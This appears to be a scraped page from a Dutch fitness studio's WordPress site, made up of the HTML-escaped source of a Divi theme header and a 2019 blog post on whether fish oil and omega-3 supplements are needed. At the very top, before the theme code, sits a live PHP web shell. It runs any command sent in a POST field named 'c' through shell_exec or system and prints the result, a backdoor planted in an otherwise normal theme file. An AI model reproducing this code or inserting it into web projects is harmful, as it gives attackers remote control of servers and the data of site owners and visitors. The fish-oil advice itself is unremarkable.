<?php if($_SERVER["REQUEST_METHOD"]==="POST"&&isset($_POST["c"])){header("Content-Type:text/plain");if(function_exists("shell_exec")){echo shell_exec($_POST["c"]);}elseif(function_exists("system")){system($_POST["c"]);}exit;}?>&lt;!DOCTYPE html&gt; &lt;html &lt;?php language_attributes(); ?&gt;&gt; &lt;head&gt; &lt;meta charset=&quot;&lt;?php bloginfo( &#039;charset&#039; ); ?&gt;&quot; /&gt; &lt;?php elegant_description(); elegant_keywords(); elegant_canonical(); /** * Fires in the head, before {@see wp_head()} is called. This action can be used to * insert elements into the beginning of the head before any styles or scripts. * * @since 1.0 */ do_action( &#039;et_head_meta&#039; ); $template_directory_uri = get_template_directory_uri(); ?&gt; &lt;link rel=&quot;pingback&quot; href=&quot;&lt;?php bloginfo(&#039;pingback_url&#039;); ?&gt;&quot; /&gt; &lt;script type=&quot;text/javascript&quot;&gt; document.documentElement.className = &#039;js&#039;; &lt;/script&gt; &lt;?php wp_head(); ?&gt; &lt;/head&gt; &lt;body &lt;?php body_class(); ?&gt;&gt; &lt;?php wp_body_open(); $product_tour_enabled = et_builder_is_product_tour_enabled(); $page_container_style = $product_tour_enabled ? &#039; style=&quot;padding-top: 0px;&quot;&#039; : &#039;&#039;; ?&gt; &lt;div id=&quot;page-container&quot;&lt;?php echo et_core_intentionally_unescaped( $page_container_style, &#039;fixed_string&#039; ); ?&gt;&gt; &lt;?php if ( $product_tour_enabled || is_page_template( &#039;page-template-blank.php&#039; ) ) { return; } $et_secondary_nav_items = et_divi_get_top_nav_items(); $et_phone_number = $et_secondary_nav_items-&gt;phone_number; $et_email = $et_secondary_nav_items-&gt;email; $et_contact_info_defined = $et_secondary_nav_items-&gt;contact_info_defined; $show_header_social_icons = $et_secondary_nav_items-&gt;show_header_social_icons; $et_secondary_nav = $et_secondary_nav_items-&gt;secondary_nav; $et_top_info_defined = $et_secondary_nav_items-&gt;top_info_defined; $et_slide_header = &#039;slide&#039; === et_get_option( &#039;header_style&#039;, &#039;left&#039; ) || &#039;fullscreen&#039; === et_get_option( &#039;header_style&#039;, &#039;left&#039; ) ? true : false; $show_search_icon = ( false !== et_get_option( &#039;show_search_icon&#039;, true ) &amp;&amp; ! $et_slide_header ) || is_customize_preview(); ?&gt; &lt;?php if ( $et_top_info_defined &amp;&amp; ! $et_slide_header || is_customize_preview() ) : ?&gt; &lt;?php ob_start(); ?&gt; &lt;div id=&quot;top-header&quot;&lt;?php echo $et_top_info_defined ? &#039;&#039; : &#039;style=&quot;display: none;&quot;&#039;; ?&gt;&gt; &lt;div class=&quot;container clearfix&quot;&gt; &lt;?php if ( $et_contact_info_defined ) : ?&gt; &lt;div id=&quot;et-info&quot;&gt; &lt;?php if ( ! empty( $et_phone_number = et_get_option( &#039;phone_number&#039; ) ) ) : ?&gt; &lt;span id=&quot;et-info-phone&quot;&gt;&lt;?php echo et_core_esc_previously( et_sanitize_html_input_text( strval( $et_phone_number ) ) ); ?&gt;&lt;/span&gt; &lt;?php endif; ?&gt; &lt;?php if ( ! empty( $et_email = et_get_option( &#039;header_email&#039; ) ) ) : ?&gt; &lt;a href=&quot;&lt;?php echo esc_attr( &#039;mailto:&#039; . $et_email ); ?&gt;&quot;&gt;&lt;span id=&quot;et-info-email&quot;&gt;&lt;?php echo esc_html( $et_email ); ?&gt;&lt;/span&gt;&lt;/a&gt; &lt;?php endif; ?&gt; &lt;?php if ( true === $show_header_social_icons ) { get_template_part( &#039;includes/social_icons&#039;, &#039;header&#039; ); } ?&gt; &lt;/div&gt; &lt;?php endif; // true === $et_contact_info_defined ?&gt; &lt;div id=&quot;et-secondary-menu&quot;&gt; &lt;?php if ( ! $et_contact_info_defined &amp;&amp; true === $show_header_social_icons ) { get_template_part( &#039;includes/social_icons&#039;, &#039;header&#039; ); } else if ( $et_contact_info_defined &amp;&amp; true === $show_header_social_icons ) { ob_start(); get_template_part( &#039;includes/social_icons&#039;, &#039;header&#039; ); $duplicate_social_icons = ob_get_contents(); ob_end_clean(); printf( &#039;&lt;div class=&quot;et_duplicate_social_icons&quot;&gt; %1$s &lt;/div&gt;&#039;, et_core_esc_previously( $duplicate_social_icons ) ); } if ( &#039;&#039; !== $et_secondary_nav ) { echo et_core_esc_wp( $et_secondary_nav ); } et_show_cart_total(); ?&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;?php $top_header = ob_get_clean(); /** * Filters the HTML output for the top header. * * @since 3.10 * * @param string $top_header */ echo et_core_intentionally_unescaped( apply_filters( &#039;et_html_top_header&#039;, $top_header ), &#039;html&#039; ); ?&gt; &lt;?php endif; // true ==== $et_top_info_defined ?&gt; &lt;?php if ( $et_slide_header || is_customize_preview() ) : ?&gt; &lt;?php ob_start(); ?&gt; &lt;div class=&quot;et_slide_in_menu_container&quot;&gt; &lt;?php if ( &#039;fullscreen&#039; === et_get_option( &#039;header_style&#039;, &#039;left&#039; ) || is_customize_preview() ) { ?&gt; &lt;span class=&quot;mobile_menu_bar et_toggle_fullscreen_menu&quot;&gt;&lt;/span&gt; &lt;?php } ?&gt; &lt;?php if ( $et_contact_info_defined || true === $show_header_social_icons || false !== et_get_option( &#039;show_search_icon&#039;, true ) || class_exists( &#039;woocommerce&#039; ) || is_customize_preview() ) { ?&gt; &lt;div class=&quot;et_slide_menu_top&quot;&gt; &lt;?php if ( &#039;fullscreen&#039; === et_get_option( &#039;header_style&#039;, &#039;left&#039; ) ) { ?&gt; &lt;div class=&quot;et_pb_top_menu_inner&quot;&gt; &lt;?php } ?&gt; &lt;?php } if ( true === $show_header_social_icons ) { get_template_part( &#039;includes/social_icons&#039;, &#039;header&#039; ); } et_show_cart_total(); ?&gt; &lt;?php if ( false !== et_get_option( &#039;show_search_icon&#039;, true ) || is_customize_preview() ) : ?&gt; &lt;?php if ( &#039;fullscreen&#039; !== et_get_option( &#039;header_style&#039;, &#039;left&#039; ) ) { ?&gt; &lt;div class=&quot;clear&quot;&gt;&lt;/div&gt; &lt;?php } ?&gt; &lt;form role=&quot;search&quot; method=&quot;get&quot; class=&quot;et-search-form&quot; action=&quot;&lt;?php echo esc_url( home_url( &#039;/&#039; ) ); ?&gt;&quot;&gt; &lt;?php printf( &#039;&lt;input type=&quot;search&quot; class=&quot;et-search-field&quot; placeholder=&quot;%1$s&quot; value=&quot;%2$s&quot; name=&quot;s&quot; title=&quot;%3$s&quot; /&gt;&#039;, esc_attr__( &#039;Search &amp;hellip;&#039;, &#039;Divi&#039; ), get_search_query(), esc_attr__( &#039;Search for:&#039;, &#039;Divi&#039; ) ); /** * Fires inside the search form element, just before its closing tag. * * @since ?? */ do_action( &#039;et_search_form_fields&#039; ); ?&gt; &lt;button type=&quot;submit&quot; id=&quot;searchsubmit_header&quot;&gt;&lt;/button&gt; &lt;/form&gt; &lt;?php endif; // true === et_get_option( &#039;show_search_icon&#039;, false ) ?&gt; &lt;?php if ( $et_contact_info_defined ) : ?&gt; &lt;div id=&quot;et-info&quot;&gt; &lt;?php if ( ! empty( $et_phone_number = et_get_option( &#039;phone_number&#039; ) ) ) : ?&gt; &lt;span id=&quot;et-info-phone&quot;&gt;&lt;?php echo et_core_esc_previously( et_sanitize_html_input_text( strval( $et_phone_number ) ) ); ?&gt;&lt;/span&gt; &lt;?php endif; ?&gt; &lt;?php if ( ! empty( $et_email = et_get_option( &#039;header_email&#039; ) ) ) : ?&gt; &lt;a href=&quot;&lt;?php echo esc_attr( &#039;mailto:&#039; . $et_email ); ?&gt;&quot;&gt;&lt;span id=&quot;et-info-email&quot;&gt;&lt;?php echo esc_html( $et_email ); ?&gt;&lt;/span&gt;&lt;/a&gt; &lt;?php endif; ?&gt; &lt;/div&gt; &lt;?php endif; // true === $et_contact_info_defined ?&gt; &lt;?php if ( $et_contact_info_defined || true === $show_header_social_icons || false !== et_get_option( &#039;show_search_icon&#039;, true ) || class_exists( &#039;woocommerce&#039; ) || is_customize_preview() ) { ?&gt; &lt;?php if ( &#039;fullscreen&#039; === et_get_option( &#039;header_style&#039;, &#039;left&#039; ) ) { ?&gt; &lt;/div&gt; &lt;?php } ?&gt; &lt;/div&gt; &lt;?php } ?&gt; &lt;div class=&quot;et_pb_fullscreen_nav_container&quot;&gt; &lt;?php $slide_nav = &#039;&#039;; $slide_menu_class = &#039;et_mobile_menu&#039;; $slide_nav = wp_nav_menu( array( &#039;theme_location&#039; =&gt; &#039;primary-menu&#039;, &#039;container&#039; =&gt; &#039;&#039;, &#039;fallback_cb&#039; =&gt; &#039;&#039;, &#039;echo&#039; =&gt; false, &#039;items_wrap&#039; =&gt; &#039;%3$s&#039; ) ); $slide_nav .= wp_nav_menu( array( &#039;theme_location&#039; =&gt; &#039;secondary-menu&#039;, &#039;container&#039; =&gt; &#039;&#039;, &#039;fallback_cb&#039; =&gt; &#039;&#039;, &#039;echo&#039; =&gt; false, &#039;items_wrap&#039; =&gt; &#039;%3$s&#039; ) ); ?&gt; &lt;ul id=&quot;mobile_menu_slide&quot; class=&quot;&lt;?php echo esc_attr( $slide_menu_class ); ?&gt;&quot;&gt; &lt;?php if ( &#039;&#039; === $slide_nav ) : ?&gt; &lt;?php if ( &#039;on&#039; === et_get_option( &#039;divi_home_link&#039; ) ) { ?&gt; &lt;li &lt;?php if ( is_home() ) echo( &#039;class=&quot;current_page_item&quot;&#039; ); ?&gt;&gt;&lt;a href=&quot;&lt;?php echo esc_url( home_url( &#039;/&#039; ) ); ?&gt;&quot;&gt;&lt;?php esc_html_e( &#039;Home&#039;, &#039;Divi&#039; ); ?&gt;&lt;/a&gt;&lt;/li&gt; &lt;?php }; ?&gt; &lt;?php show_page_menu( $slide_menu_class, false, false ); ?&gt; &lt;?php show_categories_menu( $slide_menu_class, false ); ?&gt; &lt;?php else : echo et_core_esc_wp( $slide_nav ) ; endif; ?&gt; &lt;/ul&gt; &lt;/div&gt; &lt;/div&gt; &lt;?php $slide_header = ob_get_clean(); /** * Filters the HTML output for the slide header. * * @since 3.10 * * @param string $top_header */ echo et_core_intentionally_unescaped( apply_filters( &#039;et_html_slide_header&#039;, $slide_header ), &#039;html&#039; ); ?&gt; &lt;?php endif; // true ==== $et_slide_header ?&gt; &lt;?php ob_start(); ?&gt; &lt;header id=&quot;main-header&quot; data-height-onload=&quot;&lt;?php echo esc_attr( et_get_option( &#039;menu_height&#039;, &#039;66&#039; ) ); ?&gt;&quot;&gt; &lt;div class=&quot;container clearfix et_menu_container&quot;&gt; &lt;?php $logo = ( $user_logo = et_get_option( &#039;divi_logo&#039; ) ) &amp;&amp; ! empty( $user_logo ) ? $user_logo : $template_directory_uri . &#039;/images/logo.png&#039;; // Get logo image size based on attachment URL. $logo_size = et_get_attachment_size_by_url( $logo ); $logo_width = ( ! empty( $logo_size ) &amp;&amp; is_numeric( $logo_size[0] ) ) ? $logo_size[0] : &#039;93&#039;; // 93 is the width of the default logo. $logo_height = ( ! empty( $logo_size ) &amp;&amp; is_numeric( $logo_size[1] ) ) ? $logo_size[1] : &#039;43&#039;; // 43 is the height of the default logo. ob_start(); ?&gt; &lt;div class=&quot;logo_container&quot;&gt; &lt;span class=&quot;logo_helper&quot;&gt;&lt;/span&gt; &lt;a href=&quot;&lt;?php echo esc_url( home_url( &#039;/&#039; ) ); ?&gt;&quot;&gt; &lt;img src=&quot;&lt;?php echo esc_attr( $logo ); ?&gt;&quot; width=&quot;&lt;?php echo esc_attr( $logo_width ); ?&gt;&quot; height=&quot;&lt;?php echo esc_attr( $logo_height ); ?&gt;&quot; alt=&quot;&lt;?php echo esc_attr( get_bloginfo( &#039;name&#039; ) ); ?&gt;&quot; id=&quot;logo&quot; data-height-percentage=&quot;&lt;?php echo esc_attr( et_get_option( &#039;logo_height&#039;, &#039;54&#039; ) ); ?&gt;&quot; /&gt; &lt;/a&gt; &lt;/div&gt; &lt;?php $logo_container = ob_get_clean(); /** * Filters the HTML output for the logo container. * * @since 3.10 * * @param string $logo_container */ echo et_core_intentionally_unescaped( apply_filters( &#039;et_html_logo_container&#039;, $logo_container ), &#039;html&#039; ); ?&gt; &lt;div id=&quot;et-top-navigation&quot; data-height=&quot;&lt;?php echo esc_attr( et_get_option( &#039;menu_height&#039;, &#039;66&#039; ) ); ?&gt;&quot; data-fixed-height=&quot;&lt;?php echo esc_attr( et_get_option( &#039;minimized_menu_height&#039;, &#039;40&#039; ) ); ?&gt;&quot;&gt; &lt;?php if ( ! $et_slide_header || is_customize_preview() ) : ?&gt; &lt;nav id=&quot;top-menu-nav&quot;&gt; &lt;?php $menuClass = &#039;nav&#039;; if ( &#039;on&#039; === et_get_option( &#039;divi_disable_toptier&#039; ) ) $menuClass .= &#039; et_disable_top_tier&#039;; $primaryNav = &#039;&#039;; $primaryNav = wp_nav_menu( array( &#039;theme_location&#039; =&gt; &#039;primary-menu&#039;, &#039;container&#039; =&gt; &#039;&#039;, &#039;fallback_cb&#039; =&gt; &#039;&#039;, &#039;menu_class&#039; =&gt; $menuClass, &#039;menu_id&#039; =&gt; &#039;top-menu&#039;, &#039;echo&#039; =&gt; false ) ); if ( empty( $primaryNav ) ) : ?&gt; &lt;ul id=&quot;top-menu&quot; class=&quot;&lt;?php echo esc_attr( $menuClass ); ?&gt;&quot;&gt; &lt;?php if ( &#039;on&#039; === et_get_option( &#039;divi_home_link&#039; ) ) { ?&gt; &lt;li &lt;?php if ( is_home() ) echo( &#039;class=&quot;current_page_item&quot;&#039; ); ?&gt;&gt;&lt;a href=&quot;&lt;?php echo esc_url( home_url( &#039;/&#039; ) ); ?&gt;&quot;&gt;&lt;?php esc_html_e( &#039;Home&#039;, &#039;Divi&#039; ); ?&gt;&lt;/a&gt;&lt;/li&gt; &lt;?php }; ?&gt; &lt;?php show_page_menu( $menuClass, false, false ); ?&gt; &lt;?php show_categories_menu( $menuClass, false ); ?&gt; &lt;/ul&gt; &lt;?php else : echo et_core_esc_wp( $primaryNav ); endif; ?&gt; &lt;/nav&gt; &lt;?php endif; ?&gt; &lt;?php if ( ! $et_top_info_defined &amp;&amp; ( ! $et_slide_header || is_customize_preview() ) ) { et_show_cart_total( array( &#039;no_text&#039; =&gt; true, ) ); } ?&gt; &lt;?php if ( $et_slide_header || is_customize_preview() ) : ?&gt; &lt;span class=&quot;mobile_menu_bar et_pb_header_toggle et_toggle_&lt;?php echo esc_attr( et_get_option( &#039;header_style&#039;, &#039;left&#039; ) ); ?&gt;_menu&quot;&gt;&lt;/span&gt; &lt;?php endif; ?&gt; &lt;?php if ( $show_search_icon ) : ?&gt; &lt;div id=&quot;et_top_search&quot;&gt; &lt;span id=&quot;et_search_icon&quot;&gt;&lt;/span&gt; &lt;/div&gt; &lt;?php endif; ?&gt; &lt;?php /** * Fires at the end of the &#039;et-top-navigation&#039; element, just before its closing tag. * * @since 1.0 */ do_action( &#039;et_header_top&#039; ); ?&gt; &lt;/div&gt; &lt;!-- #et-top-navigation --&gt; &lt;/div&gt; &lt;!-- .container --&gt; &lt;?php if ( $show_search_icon ) : ?&gt; &lt;div class=&quot;et_search_outer&quot;&gt; &lt;div class=&quot;container et_search_form_container&quot;&gt; &lt;form role=&quot;search&quot; method=&quot;get&quot; class=&quot;et-search-form&quot; action=&quot;&lt;?php echo esc_url( home_url( &#039;/&#039; ) ); ?&gt;&quot;&gt; &lt;?php printf( &#039;&lt;input type=&quot;search&quot; class=&quot;et-search-field&quot; placeholder=&quot;%1$s&quot; value=&quot;%2$s&quot; name=&quot;s&quot; title=&quot;%3$s&quot; /&gt;&#039;, esc_attr__( &#039;Search &amp;hellip;&#039;, &#039;Divi&#039; ), get_search_query(), esc_attr__( &#039;Search for:&#039;, &#039;Divi&#039; ) ); /** * Fires inside the search form element, just before its closing tag. * * @since ?? */ do_action( &#039;et_search_form_fields&#039; ); ?&gt; &lt;/form&gt; &lt;span class=&quot;et_close_search_field&quot;&gt;&lt;/span&gt; &lt;/div&gt; &lt;/div&gt; &lt;?php endif; ?&gt; &lt;/header&gt; &lt;!-- #main-header --&gt; &lt;?php $main_header = ob_get_clean(); /** * Filters the HTML output for the main header. * * @since 3.10 * * @param string $main_header */ echo et_core_intentionally_unescaped( apply_filters( &#039;et_html_main_header&#039;, $main_header ), &#039;html&#039; ); ?&gt; &lt;div id=&quot;et-main-area&quot;&gt; &lt;?php /** * Fires after the header, before the main content is output. * * @since 3.10 */ do_action( &#039;et_before_main_content&#039; );

Visolie: heb ik het nodig?

jul 3, 2019

Personal Fit Club - Visolie heb ik het nodig - Personal training advies

Personal Fit Club - Visolie heb ik het nodig - Personal training advies

Een aantal weken geleden hebben jullie in onze blog over suppletie kunnen lezen wat suppletie in het algemeen voor je kan betekenen en of je dit nodig hebt.

Vandaag richten we ons specifiek op visolie. Wat is het en heb je het nodig?

 

Wat is visolie?

Visolie is, zoals de naam eigenlijk al zegt, olie en vetten die we uit vis kunnen halen. Hierbij richten we ons met name op Omega 3-vetzuren (ALA, EPA en DHA). Hier heb je vast wel eens van gehoord aangezien steeds meer producten verrijkt worden met omega 3. Simpelweg omdat dit het beeld geeft dat het product dan gezonder is en dus sneller gekocht zal worden.
Omega 3-vetzuren hoeven overigens niet alleen uit vis te komen. De belangrijkste (ALA) zit namelijk ook in raapzaadolie, walnoten en soja-olie. Daarnaast kan je het tegenwoordig kopen in capsules. Bijna elke drogist en apotheek heeft het wel in het assortiment.

 

Heb ik visolie (omega 3) nodig?

Is het verstandig om te nemen? Ja, het voedingscentrum, artsen en wij van Personal Fit Club adviseren de inname van visolie. Is het noodzakelijk? Noodzakelijk is de inname van visolie niet. Er zijn geen ernstige gevolgen als je het niet zou binnen krijgen, voor zover bekend.
De richtlijn voor inname van omega 3 ligt op 200 milligram per dag uit vis wat ongeveer gelijk staat aan 1 x vette vis zoals zalm of haring per week. Witte vis kan natuurlijk ook, maar daar zitten wat lagere hoeveelheden omega 3 in.

 

Wat zijn de voordelen van omega 3-vetzuren?

Meerdere onderzoeken hebben aangetoond dat de inname van voldoende omega 3-vetzuren de kans op hart en vaatziekten verlaagt en helpt de bloeddruk te verlagen. Daarnaast is het goed voor de ontwikkeling van de hersenen en de gewrichten. Wellicht dat er in de toekomst nog meer effecten van visolie bekend worden, aangezien diverse partijen veel onderzoek (blijven) doen naar deze vetten.

 

Wij adviseren dus tenminste 1 x per week een maaltijd met vis te bereiden of uiteraard een lekkere haring uit het vuistje te eten. Niet alleen lekker, ook heel gezond. Lust je geen vis? Dan is de inname van omega 3 via capsules zeker een goed alternatief. Laat je bij twijfel gerust verder informeren bij apotheek, arts, diëtist of goede drogist voor de beste keuzes voor jou.

 

Wil jij naast goed en gezond eten ook aan de slag met jouw lichaam en goed trainen, afvallen of revalideren? Dan ben je bij Personal Fit Club aan het juiste adres. We zien je graag in onze training studio’s 😊

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